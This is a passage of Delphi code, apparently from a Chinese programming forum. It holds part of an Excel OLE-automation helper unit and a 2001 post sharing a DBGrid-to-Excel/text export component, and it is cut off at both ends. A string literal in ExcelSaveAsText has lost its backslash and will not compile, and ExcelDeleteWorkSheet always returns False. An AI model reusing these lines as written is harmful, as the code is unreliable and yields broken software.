C := StringGrid.ColCount;

R := StringGrid.RowCount;

StringGrid.ColCount := 1;

StringGrid.RowCount := 1;

StringGrid.Cells[0,0] := '';

StringGrid.ColCount := C;

StringGrid.RowCount := R;

End;

Result := True;

For R := ExcelFirstRow To ExcelLastRow Do

Begin

For C := ExcelFirstCol To ExcelLastCol Do

Begin

Try

StringGrid.Cells[

C - ExcelFirstCol + StringGridFirstCol,

R - ExcelFirstRow + StringGridFirstRow] :=

Excel.Cells[R, C];

Except

Result := False;

End;

End;

End;

End;

{!~Sets the formula in a cell. Remember to include the equals sign "=".

If the function fails False is returned, True otherwise.}

Function ExcelSetCellFormula(

Excel : Variant;

FormulaString : ShortString;

RowNum, ColNum: Integer): Boolean;

Begin

Result := True;

Try

Excel.

ActiveSheet.

Cells[RowNum, ColNum].

Formula := FormulaString;

Except

Result := False;

End;

End;

{!~Returns the Column String Value from its integer equilavent.}

Function ExcelColIntToStr(ColNum: Integer): ShortString;

Var

ColStr : ShortString;

Multiplier: Integer;

Remainder : Integer;

Begin

Result := '';

If ColNum < 1 Then Exit;

If ColNum > 256 Then Exit;

Multiplier := ColNum div 26;

Remainder := ColNum Mod 26;

If ColNum <= 26 Then

Begin

ColStr[1] := ' ';

If Remainder = 0 Then

Begin

ColStr[2] := 'Z';

End

Else

Begin

ColStr[2] := Chr(Remainder+64);

End;

End

Else

Begin

If Remainder = 0 Then

Begin

If Multiplier = 1 Then

Begin

ColStr[1] := ' ';

ColStr[2] := 'Z';

End

Else

Begin

ColStr[1] := Chr(Multiplier+64-1);

ColStr[2] := 'Z';

End;

End

Else

Begin

ColStr[1] := Chr(Multiplier+64);

ColStr[2] := Chr(Remainder+64);

End;

End;

If ColStr[1] = ' ' Then

Begin

Result := Result + ColStr[2];

End

Else

Begin

Result := Result + ColStr[1] + ColStr[2];

End;

Result := Result;

End;

{!~Returns the Column Integer Value from its Alpha equilavent.}

Function ExcelColStrToInt(ColStr: ShortString): Integer;

Var

ColStrNew : ShortString;

i : Integer;

RetVal : Integer;

Multiplier : Integer;

Remainder : Integer;

Begin

RetVal := 1;

Result := RetVal;

ColStrNew := '';

For i := 1 To Length(ColStr) Do

Begin

If ((Ord(ColStr[i]) >= 65) And

( Ord(ColStr[i]) <= 90)) Or

((Ord(ColStr[i]) >= 97) And

( Ord(ColStr[i]) <= 122)) Then

Begin

ColStrNew := ColStrNew + UpperCase(ColStr[i]);

End;

End;

If Length(ColStrNew) < 1 Then Exit;

If Length(ColStrNew) < 2 Then

Begin

RetVal := Ord(ColStrNew[1])-64;

End

Else

Begin

Multiplier := Ord(ColStrNew[1])-64;

Remainder := Ord(ColStrNew[2])-64;

Retval := (Multiplier * 26) + Remainder;

End;

Result := RetVal;

End;

{!~Sets the contents of a cell as a shortstring}

Function ExcelSetCellValue(

Excel : Variant;

RowNum, ColNum: Integer;

Value : ShortString): Boolean;

Begin

Result := False;

Try

Excel.Cells[RowNum, ColNum].Value := Value;

Result := True;

Except

Result := False;

End;

End;

{!~Open the file you want to work within Excel. If you want to

take advantage of optional parameters then you should use

ExcelOpenFileComplex}

Function ExcelOpenFile(Excel : Variant; FileName : String): Boolean;

Begin

Result := True;

try

//Open the database that we want to work with

Excel.Workbooks.Open[FileName];

except

MessageDlg('Unable to locate '+FileName, mtError, [mbOK], 0);

Result := False;

end;

End;

{!~Open the file you want to work within Excel.

Excel

The OLEObject passed as an argument.

FileName

Required. Specifies the filename of the workbook to open.

UpdateLinks

Specifies how links in the file are updated. If this

argument is omitted, the user is prompted to determine

how to update links. Otherwise, this argument is one of

the values shown in the following table.

Value Meaning

0 No updates

1 Updates external but not remote references

2 Updates remote but not external references

3 Updates both remote and external references

If Microsoft Excel is opening a file in the WKS, WK1, or

WK3 format and the updateLinks argument is 2, Microsoft

Excel generates charts from the graphs attached to the file.

If the argument is 0, no charts are created.

ReadOnly

If True, the workbook is opened in read-only mode.

Format

If Microsoft Excel is opening a text file, this argument

specifies the delimiter character, as shown in the following

table. If this argument is omitted, the current delimiter

is used.

Value Delimiter

1 Tabs

2 Commas

3 Spaces

4 Semicolons

5 Nothing

6 Custom character, see the delimiter argument.

Password

A string containing the password required to open a

protected workbook. If omitted and the workbook requires

a password, the user is prompted for the password.

}

Function ExcelOpenFileComplex(

Excel : Variant;

FileName : String;

UpdateLinks : Integer;

ReadOnly : Boolean;

Format : Integer;

Password : ShortString): Boolean;

Begin

Result := True;

try

//Open the database that we want to work with

Excel.

Workbooks.

Open[

FileName,

UpdateLinks,

ReadOnly,

Format,

Password];

except

MessageDlg('Unable to locate '+FileName, mtError, [mbOK], 0);

Result := False;

end;

End;

{!~Saves the range on the currently active sheet

to a DBase 4 table.}

Function ExcelSaveAsDBase4(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer;

OutFilePath : ShortString;

OutFileName : ShortString): Boolean;

{

OutFileFormat: Use one of the following

xlAddIn xlExcel3 xlTextMSDOS

xlCSV xlExcel4 xlTextWindows

xlCSVMac xlExcel4Workbook xlTextPrinter

xlCSVMSDOS xlIntlAddIn xlWK1

xlCSVWindows xlIntlMacro xlWK3

xlDBF2 xlNormal xlWKS

xlDBF3 xlSYLK xlWQ1

xlDBF4 xlTemplate xlWK3FM3

xlDIF xlText xlWK1FMT

xlExcel2 xlTextMac xlWK1ALL

}

Begin

Result := False;

Try

If IsTable(

OutFilePath,

OutFileName+'.dbf')

Then

Begin

If Not DBDeleteTable(

OutFilePath,

OutFileName+'.dbf')

Then

Begin

Msg('Could not delete the '+

OutFilePath+OutFileName+'.dbf'+' Table');

Msg('Process Aborted');

Exit;

End;

End;

If ExcelVersion(Excel) = '8.0' Then

Begin

ExcelSelectCell(Excel,ExcelFirstRow,ExcelFirstCol);

ExcelSelectBlockWhole(Excel);

//Excel.SendKeys('^+{END}');

End

Else

Begin

Excel.

Range(

ExcelColIntToStr(ExcelFirstCol)+

IntToStr(ExcelFirstRow)+

':'+

ExcelColIntToStr(ExcelLastCol)+

IntToStr(ExcelLastRow)

).

Select;

End;

{

FileFormat = (xlAddIn, xlCSV, xlCSVMac, xlCSVMSDOS, xlCSVWindows, xlDBF2,

xlDBF3, xlDBF4, xlDIF, xlExcel2, xlExcel3, xlExcel4,

xlExcel4Workbook, xlIntlAddIn, xlIntlMacro, xlNormal,

xlSYLK, xlTemplate, xlText, xlTextMac, xlTextMSDOS,

xlTextWindows, xlTextPrinter, xlWK1, xlWK3, xlWKS,

xlWQ1, xlWK3FM3, xlWK1FMT, xlWK1ALL);

}

{

//CHECKING OUT THE GARBLED OUTPUT

// Produces an *.xls

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'02',xlCSV);

// Produces an *.txt

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'04',xlCSVMSDOS);

// Produces nothing

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'05',xlCSVWindows);

// Produces nothing

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'06',xlDBF2);

// Produces an *.txt

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'07',xlDBF3);

// Produces an *.dbf

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'08',xlDBF4);

// Produces an *.dbf

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'09',xlDIF);

// Produces an *.dif

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'10',xlExcel2);

// Produces an *.slk

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'11',xlExcel3);

// Produces an *.dbf

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'12',xlExcel4);

}

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName,xlExcel4);

Result := True;

Except

Result := False;

End;

End;

{!~Saves the range on the currently active sheet

to a text file.}

Function ExcelSaveAsText(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer;

OutFilePath : ShortString;

OutFileName : ShortString): Boolean;

{

OutFileFormat: Use one of the following

xlAddIn xlExcel3 xlTextMSDOS

xlCSV xlExcel4 xlTextWindows

xlCSVMac xlExcel4Workbook xlTextPrinter

xlCSVMSDOS xlIntlAddIn xlWK1

xlCSVWindows xlIntlMacro xlWK3

xlDBF2 xlNormal xlWKS

xlDBF3 xlSYLK xlWQ1

xlDBF4 xlTemplate xlWK3FM3

xlDIF xlText xlWK1FMT

xlExcel2 xlTextMac xlWK1ALL

}

Var

FullOutName : String;

Begin

Result := False;

Try

If OutFilePath <> '' Then

Begin

If Not (Copy(OutFilePath,Length(OutFilePath),1) = ') Then

Begin

OutFilePath := OutFilePath + ';

End;

End;

FullOutName := OutFilePath + OutFileName;

If FileExists(FullOutName) Then DeleteFile(FullOutName);

If ExcelVersion(Excel) = '8.0' Then

Begin

ExcelSelectCell(Excel,ExcelFirstRow,ExcelFirstCol);

ExcelSelectBlockWhole(Excel);

//Excel.SendKeys('^+{END}');

End

Else

Begin

Excel.

Range(

ExcelColIntToStr(ExcelFirstCol)+

IntToStr(ExcelFirstRow)+

':'+

ExcelColIntToStr(ExcelLastCol)+

IntToStr(ExcelLastRow)

).

Select;

End;

{

FileFormat = (xlAddIn, xlCSV, xlCSVMac, xlCSVMSDOS, xlCSVWindows, xlDBF2,

xlDBF3, xlDBF4, xlDIF, xlExcel2, xlExcel3, xlExcel4,

xlExcel4Workbook, xlIntlAddIn, xlIntlMacro, xlNormal,

xlSYLK, xlTemplate, xlText, xlTextMac, xlTextMSDOS,

xlTextWindows, xlTextPrinter, xlWK1, xlWK3, xlWKS,

xlWQ1, xlWK3FM3, xlWK1FMT, xlWK1ALL);

}

(*

//CHECKING OUT THE GARBLED OUTPUT

// Produces an *.xls

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'02',xlCSV);

*)

// Produces an *.txt

// Excel.

// ActiveSheet.

// SaveAs(

// FullOutName,xlCSVMSDOS);

(*

// Produces nothing

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'05',xlCSVWindows);

// Produces nothing

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'06',xlDBF2);

// Produces an *.txt comma separated

Excel.

ActiveSheet.

SaveAs(

FullOutName,xlDBF3);

*)

// Produces an *.txt

Excel.

ActiveSheet.

SaveAs(

FullOutName,xlTextMSDOS);

(*

// Produces an *.dbf

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'08',xlDBF4);

// Produces an *.dbf

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'09',xlDIF);

// Produces an *.dif

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'10',xlExcel2);

// Produces an *.slk

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'11',xlExcel3);

// Produces an *.dbf

Excel.

ActiveSheet.

SaveAs(

OutFilePath+OutFileName+'12',xlExcel4);

*)

Result := True;

Except

Result := False;

End;

End;

{!~Saves the range on the currently active sheet

to to values only.}

Function ExcelPasteValuesOnly(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer): Boolean;

Var

RangeString : ShortString;

SheetName : ShortString;

SheetTemp : ShortString;

Begin

Result := True;

try

If ExcelVersion(Excel) = '8.0' Then

Begin

If Not ExcelSelectRange(

Excel,

ExcelFirstRow,

ExcelFirstCol,

ExcelLastRow,

ExcelLastCol)

Then

Begin

Result := False;

Msg('Unable to select the range to paste as values.');

Exit;

End;

Excel.Selection.Copy;

Excel.Selection.PasteSpecial(xlValues);

Excel.Application.CutCopyMode := False;

End

Else

Begin

Excel.Range(

ExcelColIntToStr(ExcelFirstCol)+IntToStr(ExcelFirstRow)+

':'+

ExcelColIntToStr(ExcelLastCol)+IntToStr(ExcelLastRow)).Select;

Excel.Selection.Copy;

Excel.Selection.PasteSpecial(xlValues);

Excel.Application.CutCopyMode := False;

Excel.Selection.Replace('#N/A','0');

End;

except

Msg('Unable to paste range as values');

Result := False;

end;

End;

{!~Sets a Column Width on the currently active sheet}

Function ExcelSetColumnWidth(Excel : Variant; ColNum, ColumnWidth: Integer): Boolean;

Var

RowWas : Integer;

ColWas : Integer;

Begin

Result := False;

Try

RowWas := ExcelGetRow(Excel);

ColWas := ExcelGetCol(Excel);

ExcelSelectCell(Excel,1,ColNum);

Excel.Selection.ColumnWidth := ColumnWidth;

ExcelSelectCell(Excel,RowWas,ColWas);

Result := True;

Except

Result := False;

End;

End;

{!~Selects a range on the currently active sheet}

Function ExcelSelectRange(

Excel : Variant;

FirstRow : Integer;

FirstCol : Integer;

LastRow : Integer;

LastCol : Integer): Boolean;

Var

r,c : Integer;

RowString : ShortString;

ColString : ShortString;

Begin

Result := False;

Try

If FirstRow < 1 Then Exit;

If FirstCol < 1 Then Exit;

If LastRow < 1 Then Exit;

If LastCol < 1 Then Exit;

If FirstCol > 255 Then Exit;

If LastCol > 255 Then Exit;

If Not ExcelSelectCell(

Excel,

FirstRow,

FirstCol)

Then

Begin

Exit;

End;

{Check for strange number combinations}

If FirstRow = LastRow Then

Begin

{Don't need to do anything}

End

Else

Begin

If FirstRow < LastRow Then

Begin

For r := FirstRow To LastRow - 1 Do

Begin

Excel.SendKeys('+{DOWN}');

End;

End

Else

Begin

For r := LastRow To FirstRow - 1 Do

Begin

Excel.SendKeys('+{UP}');

End;

End;

End;

If FirstCol = LastCol Then

Begin

{Don't need to do anything}

End

Else

Begin

If FirstCol < LastCol Then

Begin

For c := FirstCol To LastCol - 1 Do

Begin

Excel.SendKeys('+{RIGHT}');

End;

End

Else

Begin

For c := LastCol To FirstCol - 1 Do

Begin

Excel.SendKeys('+{LEFT}');

End;

End;

End;

Result := True;

Except

Result := False;

End;

End;

{!~Selects a range on the currently active sheet. From the

current cursor position a block is selected down and to the right.

The block proceeds down until an empty row is encountered. The

block proceeds right until an empty column is encountered.}

Function ExcelSelectBlock(

Excel : Variant;

FirstRow : Integer;

FirstCol : Integer): Boolean;

Begin

Result := False;

Try

ExcelSelectCell(Excel,FirstRow,FirstCol);

Excel.SendKeys('+{END}+{RIGHT}');

Excel.SendKeys('+{END}+{DOWN}');

Result := True;

Except

Result := False;

End;

End;

{!~Selects a range on the currently active sheet. From the

current cursor position a block is selected that contains

the currently active cell. The block proceeds in each

direction until an empty row or column is encountered.}

Function ExcelSelectBlockWhole(Excel: Variant): Boolean;

Var

FirstRow : Integer;

FirstCol : Integer;

LastRow : Integer;

LastCol : Integer;

RowWas : Integer;

ColWas : Integer;

Begin

Result := False;

Try

RowWas := ExcelGetRow(Excel);

ColWas := ExcelGetCol(Excel);

{If the base cell is on a side of the block, the block

will not be created properly.}

{View From Original Cell}

FirstRow := ExcelFirstRow(Excel);

FirstCol := ExcelFirstCol(Excel);

LastRow := ExcelLastRow(Excel);

LastCol := ExcelLastCol(Excel);

If (Not IsBlockColSide(Excel,RowWas,ColWas)) And

(Not IsBlockRowSide(Excel,RowWas,ColWas)) Then

Begin

{Cell is not on a side of the block}

ExcelSelectCell(Excel,FirstRow,FirstCol);

Excel.SendKeys('+{END}+{RIGHT}');

Excel.SendKeys('+{END}+{DOWN}');

Result := True;

Exit;

End;

{Row Only problem}

If (Not IsBlockColSide(Excel,RowWas,ColWas)) And

(IsBlockRowSide(Excel,RowWas,ColWas)) Then

Begin

{DEFAULT TO ASSUMING SELECTED CELLS ARE NEAR TOP LEFT AND

BLOCK IS TOWARD BOTTOM RIGHT}

ExcelSelectCell(Excel,RowWas,FirstCol);

Excel.SendKeys('+{END}+{RIGHT}');

Excel.SendKeys('+{END}+{DOWN}');

Result := True;

Exit;

End;

{Column Only problem}

If (IsBlockColSide(Excel,RowWas,ColWas)) And

(Not IsBlockRowSide(Excel,RowWas,ColWas)) Then

Begin

{DEFAULT TO ASSUMING SELECTED CELLS ARE NEAR TOP LEFT AND

BLOCK IS TOWARD BOTTOM RIGHT}

ExcelSelectCell(Excel,FirstRow,ColWas);

Excel.SendKeys('+{END}+{RIGHT}');

Excel.SendKeys('+{END}+{DOWN}');

Result := True;

Exit;

End;

{DEFAULT TO ASSUMING SELECTED CELLS ARE NEAR TOP LEFT AND

BLOCK IS TOWARD BOTTOM RIGHT}

ExcelSelectCell(Excel,RowWas,ColWas);

Excel.SendKeys('+{END}+{RIGHT}');

Excel.SendKeys('+{END}+{DOWN}');

Result := True;

Except

Result := False;

End;

End;

Function IsBlockColSide(Excel : Variant; RowNum, ColNum: Integer): Boolean;

Var

RowWas : Integer;

ColWas : Integer;

CellFirstSide : Integer;

CellLastSide : Integer;

FirstSideLastSide : Integer;

LastSideFirstSide : Integer;

Begin

ExcelSelectCell(Excel,RowNum,ColNum);

CellFirstSide := ExcelFirstCol(Excel);

CellLastSide := ExcelLastCol(Excel);

ExcelSelectCell(Excel,RowNum,CellFirstSide);

FirstSideLastSide := ExcelLastCol(Excel);

ExcelSelectCell(Excel,RowNum,CellLastSide);

LastSideFirstSide := ExcelFirstCol(Excel);

ExcelSelectCell(Excel,RowNum,ColNum);

If (LastSideFirstSide = ColNum) Or

(FirstSideLastSide = ColNum) Then

Begin

Result := True;

End

Else

Begin

Result := False;

End;

End;

Function IsBlockRowSide(Excel : Variant; RowNum, ColNum: Integer): Boolean;

Var

RowWas : Integer;

ColWas : Integer;

CellFirstSide : Integer;

CellLastSide : Integer;

FirstSideLastSide : Integer;

LastSideFirstSide : Integer;

Begin

ExcelSelectCell(Excel,RowNum,ColNum);

CellFirstSide := ExcelFirstRow(Excel);

CellLastSide := ExcelLastRow(Excel);

ExcelSelectCell(Excel,CellFirstSide,ColNum);

FirstSideLastSide := ExcelLastRow(Excel);

ExcelSelectCell(Excel,CellLastSide,ColNum);

LastSideFirstSide := ExcelFirstRow(Excel);

ExcelSelectCell(Excel,RowNum,ColNum);

If (LastSideFirstSide = RowNum) Or

(FirstSideLastSide = RowNum) Then

Begin

Result := True;

End

Else

Begin

Result := False;

End;

End;

{!~Renames a worksheet.}

Function ExcelRenameSheet(

Excel : Variant;

OldName : ShortString;

NewName : ShortString): Boolean;

Begin

Result := False;

Try

Excel.Sheets(OldName).Name := NewName;

Result := True;

Except

Result := False;

End;

End;

{!~Delete a WorkSheet by Name}

Function ExcelDeleteWorkSheet(

Excel : Variant;

SheetName : ShortString): Boolean;

Begin

Result := False;

Try

If Not ExcelSelectSheetByName(Excel,SheetName) Then

Begin

Msg('Could not select the '+SheetName+' WorkSheet');

Exit;

End;

Excel.ActiveWindow.SelectedSheets.Delete;

Result := True;

Finally

Result := False;

End;

End;

{!~Returns the name of the currently active worksheet as a shortstring}

Function ExcelGetActiveSheetName(Excel : Variant): ShortString;

Begin

Result := '';

Try

Result := Excel.ActiveSheet.Name;

Except

Result := '';

End;

End;

{!~Saves the range on the currently active sheet to values only.}

Function ExcelValuesOnly(

Excel : Variant;

ExcelFirstRow : Integer;

ExcelFirstCol : Integer;

ExcelLastRow : Integer;

ExcelLastCol : Integer): Boolean;

Var

r,c : Integer;

s : ShortString;

Begin

Result := False;

Try

If ExcelVersion(Excel) = '8.0' Then

Begin

For r := ExcelFirstRow To ExcelLastRow Do

Begin

For c := ExcelFirstCol To ExcelLastCol Do

Begin

s := Excel.Cells[r,c].Value;

Excel.Cells[r, c].Value := s;

End;

End;

End

Else

Begin

ExcelPasteValuesOnly(

Excel,

ExcelFirstRow,

ExcelFirstCol,

ExcelLastRow,

ExcelLastCol);

End;

Result := True;;

Except

Result := False;

End;

End;

{!~Gets the formula in a cell.}

Function ExcelGetCellFormula(

Excel : Variant;

RowNum, ColNum: Integer): ShortString;

Begin

Result := ' ';

Try

Result := Excel.

ActiveSheet.

Cells[RowNum, ColNum].

Formula;

Except

Result := ' ';

End;

End;

{!~Returns the Excel Version as a ShortString.}

Function ExcelVersion(Excel: Variant): ShortString;

Var

Version : ShortString;

Begin

Result := '';

Try

Version := Excel.Version;

Result := Version;

Except

Result := '';

End;

End;

Initialization

DelphiChecker(

RunOutsideIDE_ads,

'Advanced Delphi Systems Code',

RunOutsideIDECompany_ads,

RunOutsideIDEPhone_ads,

RunOutsideIDEDate_ads);

End.


导出DBGrid文件到Excel

来自：yzhshi, 时间：2001-12-2 10:04:00, ID：758347

[code]

既然大家都在这里将自己的东西贴出来，那我就再贴一个，将DBGrid中的文件转换到Excel中或者转换到Txt中的控件。

我自己编写的，希望大家讨论一下。

unit DBGridExport;

interface

uses

SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Db, DBGrids, Comobj, extctrls, comctrls, ActiveX;

type

TSpaceMark = (csComma, csSemicolon, csTab, csBlank, csEnter);

TDBGridExport = class(TComponent)

private

FDB_Grid: TDBGrid; {读取DBGrid的源}

FTxtFileName: string; {文本文件名}

FSpaceMark: TSpaceMark; {间隔符号}

FSpace_Ord: Integer; {间隔符号的Asc数值}

FTitle: string; {显示的标题}

FSheetName: string; {工作表标题}

FExcel_Handle: OleVariant; {Excel的句柄}

FWorkbook_Handle: OleVariant; {书签的句柄}

FShow_Progress: Boolean; {是否显示插入进度}

FProgress_Form: TForm; {进度窗体}

FRun_Excel_Form: TForm; {启动Excel提示窗口}

FProgressBar: TProgressBar; {进度条}

function Connect_Excel: Boolean; {启动Excel}

function New_Workbook: Boolean; {插入新的工作博}

function InsertData_To_Excel: Boolean; {插入数据}

procedure Create_ProgressForm(AOwner: TComponent); {创建进度显示窗口}

procedure Create_Run_Excel_Form(AOwner: TComponent); {创建启动Excel窗口}

procedure SetSpaceMark(Value: TSpaceMark); {设置导出时的间隔符号}

protected

public

constructor Create(AOwner: TComponent); override; {新建}

destructor Destroy; override; {销毁}

function Export_To_Excel: Boolean; overload; {导出到Excel中}

function Export_To_Excel(DB_Grid: TDBGrid): Boolean; overload;

function Export_To_Txt(NewFile: Boolean = True): Boolean; overload; {导出到文本文件中}

function Export_To_Txt(FileName: string; NewFile: Boolean = True): Boolean; overload;

function Export_To_Txt(DB_Grid: TDBGrid; NewFile: Boolean = True): Boolean; overload;

function Export_To_Txt(FileName: string; DB_Grid: TDBGrid; NewFile: Boolean = True): Boolean; overload;

published

property DB_Grid: TDBGrid read FDB_Grid write FDB_Grid;

property Show_Progress: Boolean read FShow_Progress write FShow_Progress;

property TxtFileName: string read FTxtFileName write FTxtFileName;

property SpaceMark: TSpaceMark read FSpaceMark write SetSpaceMark;

property Title: string read FTitle write FTitle;

property SheetName: string read FSheetName write FSheetName;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Stone', [TDBGridExport]);

end;

{-------------------------------------------------------------------------------}

{新建}

constructor TDBGridExport.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FShow_Progress := True;

FSpaceMark := csTab;

end;

{销毁}

destructor TDBGridExport.Destroy;

begin

varClear(FExcel_Handle);

varClear(FWorkbook_Handle);

inherited Destroy;

end;

{===============================================================================}

{导出到文本文件中}

function TDBGridExport.Export_To_Txt(NewFile: Boolean = True): Boolean;

var

Txt: TStrings;

Tmp_Str: string;

data_Str: string;

i, j: Integer;

Column_name: string;

Data_Set: TDataSet;

bookmark: pointer;

Before_Scroll, Afrer_Scroll: TDataSetNotifyEvent;

begin

Result := False;

if NewFile = True then

FTxtFileName := '';

if FTxtFileName = '' then

begin

with TSaveDialog.Create(nil) do

begin

Title := '请选择输出文件名';

DefaultExt := 'txt';

Filter := '文本文件(*.Txt)|*.txt';

Options := [ofOverwritePrompt, ofHideReadOnly, ofPathMustExist, ofNoReadOnlyReturn, ofEnableSizing];

if Execute then

FTxtFileName := FileName;

Free;

if FTxtFileName = '' then {如果没有选中文件，则直接推出}

exit;

end;

if FTxtFileName = '' then

begin

raise exception.Create('没有指定输出文件');

Exit;

end;

end;

if FDB_Grid = nil then

raise exception.Create('请输入DBGrid名称');

Txt := TStringList.Create;

try

{显示插入进度}

if FShow_Progress = True then

begin

Create_ProgressForm(nil);

FProgress_Form.Show;

end;

{第一行，插入标题}

Tmp_Str := ''; //FDB_Grid.Columns[0].Title.Caption;

for i := 1 to FDB_Grid.Columns.Count do

if FDB_Grid.Columns[i - 1].Visible = True then

Tmp_Str := Tmp_Str + FDB_Grid.Columns[i - 1].Title.Caption + Chr(FSpace_Ord);

Tmp_Str := Copy(Tmp_Str, 1, Length(Tmp_Str) - 1);

Txt.Add(Tmp_Str);

{插入DBGrid中的数据}

Data_Set := FDB_Grid.DataSource.DataSet;

{记忆当前位置并取消任何事件}

// new(bookmark);

bookmark := Data_Set.GetBookmark;

Data_Set.DisableControls;

Before_Scroll := Data_Set.BeforeScroll;

Afrer_Scroll := Data_Set.AfterScroll;

Data_Set.BeforeScroll := nil;

Data_Set.AfterScroll := nil;

if FShow_Progress = True then

begin

Data_Set.Last;

FProgress_Form.Refresh;

FProgressBar.Max := Data_Set.RecordCount;

end;

{插入DBGrid中的所有字段}

Data_Set.First;

j := 2;

while not Data_Set.Eof do

begin

if FShow_Progress = True then

FProgressBar.Position := j - 2;

Column_name := FDB_Grid.Columns[0].FieldName;

Tmp_Str := ''; //Data_Set.FieldByName(Column_name).AsString;

for i := 1 to FDB_Grid.Columns.Count do

if FDB_Grid.Columns[i - 1].Visible = True then

begin

data_Str := FDB_Grid.Fields[i - 1].DisplayText;

Tmp_Str := Tmp_Str + data_Str + Chr(FSpace_Ord);

end;

Tmp_Str := Copy(Tmp_Str, 1, Length(Tmp_Str) - 1);

Txt.Add(Tmp_Str);

j := j + 1;

Data_Set.Next;

end;

{恢复原始事件以及标志位置}

Data_Set.GotoBookmark(bookmark);

Data_Set.FreeBookmark(bookmark);

// dispose(bookmark);

Data_Set.EnableControls;

Data_Set.BeforeScroll := Before_Scroll;

Data_Set.AfterScroll := Afrer_Scroll;

{写到文件}

Txt.SaveToFile(FTxtFileName);

Result := True;

finally

Txt.Free;

if FShow_Progress = True then

begin

FProgress_Form.Free;

FProgress_Form := nil;

end;

end;

end;

function TDBGridExport.Export_To_Txt(FileName: string; NewFile: Boolean = True): Boolean;

begin

FTxtFileName := FileName;

Result := Export_To_Txt(NewFile);

end;

function TDBGridExport.Export_To_Txt(DB_Grid: TDBGrid; NewFile: Boolean = True): Boolean;

begin

FDB_Grid := DB_Grid;

Result := Export_To_Txt(NewFile);

end;

function TDBGridExport.Export_To_Txt(FileName: string; DB_Grid: TDBGrid; NewFile: Boolean = True): Boolean;

begin

FTxtFileName := FileName;

FDB_Grid := DB_Grid;

Result := Export_To_Txt(NewFile);

end;

{-------------------------------------------------------------------------------}

{设置导出时的间隔符号}

procedure TDBGridExport.SetSpaceMark(Value: TSpaceMark);

begin

FSpaceMark := Value;

case Value of

csComma: FSpace_Ord := ord(',');

csSemicolon: FSpace_Ord := ord(';');

csTab: FSpace_Ord := 9;

csBlank: FSpace_Ord := 32;

csEnter: FSpace_Ord := 13;

end;

end;

{===============================================================================}

{导出到Excel中}

function TDBGridExport.Export_To_Excel: Boolean;

begin

if FDB_Grid = nil then

raise exception.Create('请输入DBGrid名称');

Result := False;

if Connect_Excel = True then

if New_Workbook = True then

if InsertData_To_Excel = True then

Result := True;

end;

function TDBGridExport.Export_To_Excel(DB_Grid: TDBGrid): Boolean;

begin

FDB_Grid := DB_Grid;

Result := Export_To_Excel;

end;

{-------------------------------------------------------------------------------}

{启动Excel}

function TDBGridExport.Connect_Excel: Boolean;

{连接Ole对象}

function My_GetActiveOleObject(const ClassName: string; out Ole_Handle: IDispatch): Boolean;

var //IDispatch

ClassID: TCLSID;

Unknown: IUnknown;

l_Result: HResult;

begin

Result := False;

l_Result := CLSIDFromProgID(PWideChar(WideString(ClassName)), ClassID);

if (l_Result and $80000000) = 0 then

begin

l_Result := GetActiveObject(ClassID, nil, Unknown);

if (l_Result and $80000000) = 0 then

begin

l_Result := Unknown.QueryInterface(IDispatch, Ole_Handle);

if (l_Result and $80000000) = 0 then

Result := True;

end;

end;

end;

{创建OLE对象}

function My_CreateOleObject(const ClassName: string; out Ole_Handle: IDispatch): Boolean;

var

ClassID: TCLSID;

l_Result: HResult;

begin

Result := False;

l_Result := CLSIDFromProgID(PWideChar(WideString(ClassName)), ClassID);

if (l_Result and $80000000) = 0 then

begin

l_Result := CoCreateInstance(ClassID, nil, CLSCTX_INPROC_SERVER or

CLSCTX_LOCAL_SERVER, IDispatch, Ole_Handle);

if (l_Result and $80000000) = 0 then

Result := True;

end;

end;

var

l_Excel_Handle: IDispatch;

begin

if FShow_Progress = True then

begin

Create_Run_Excel_Form(nil);

FRun_Excel_Form.Show;

end;

if My_GetActiveOleObject('Excel.Application', l_Excel_Handle) = False then

if My_CreateOleObject('Excel.Application', l_Excel_Handle) = False then

begin

FRun_Excel_Form.Free;

FRun_Excel_Form := nil;

raise exception.Create('启动Excel失败，可能没有安装Excel！');

Result := False;

Exit;

end;

FExcel_Handle := l_Excel_Handle;

if FShow_Progress = True then

begin

FRun_Excel_Form.Free;

FRun_Excel_Form := nil;

end;

Result := True;

end;

{插入新的工作博}

function TDBGridExport.New_Workbook: Boolean;

var

i: Integer;

begin

Result := True;

try

FWorkbook_Handle := FExcel_Handle.Workbooks.Add;

except

raise exception.Create('新建Excel工作表出错！');

Result := False;

Exit;

end;

if FTitle <> '' then

FWorkbook_Handle.Application.ActiveWindow.Caption := FTitle;

if FSheetName <> '' then

begin

for i := 2 to FWorkbook_Handle.Sheets.Count do

if FSheetName = FWorkbook_Handle.Sheets[i].Name then

begin

raise exception.Create('工作表命名重复！');

Result := False;

exit;

end;

try

FWorkbook_Handle.Sheets[1].Name := FSheetName;

except

raise exception.Create('工作表命名错误！');

Result := False;

exit;

end;

end;

end;

{插入数据}

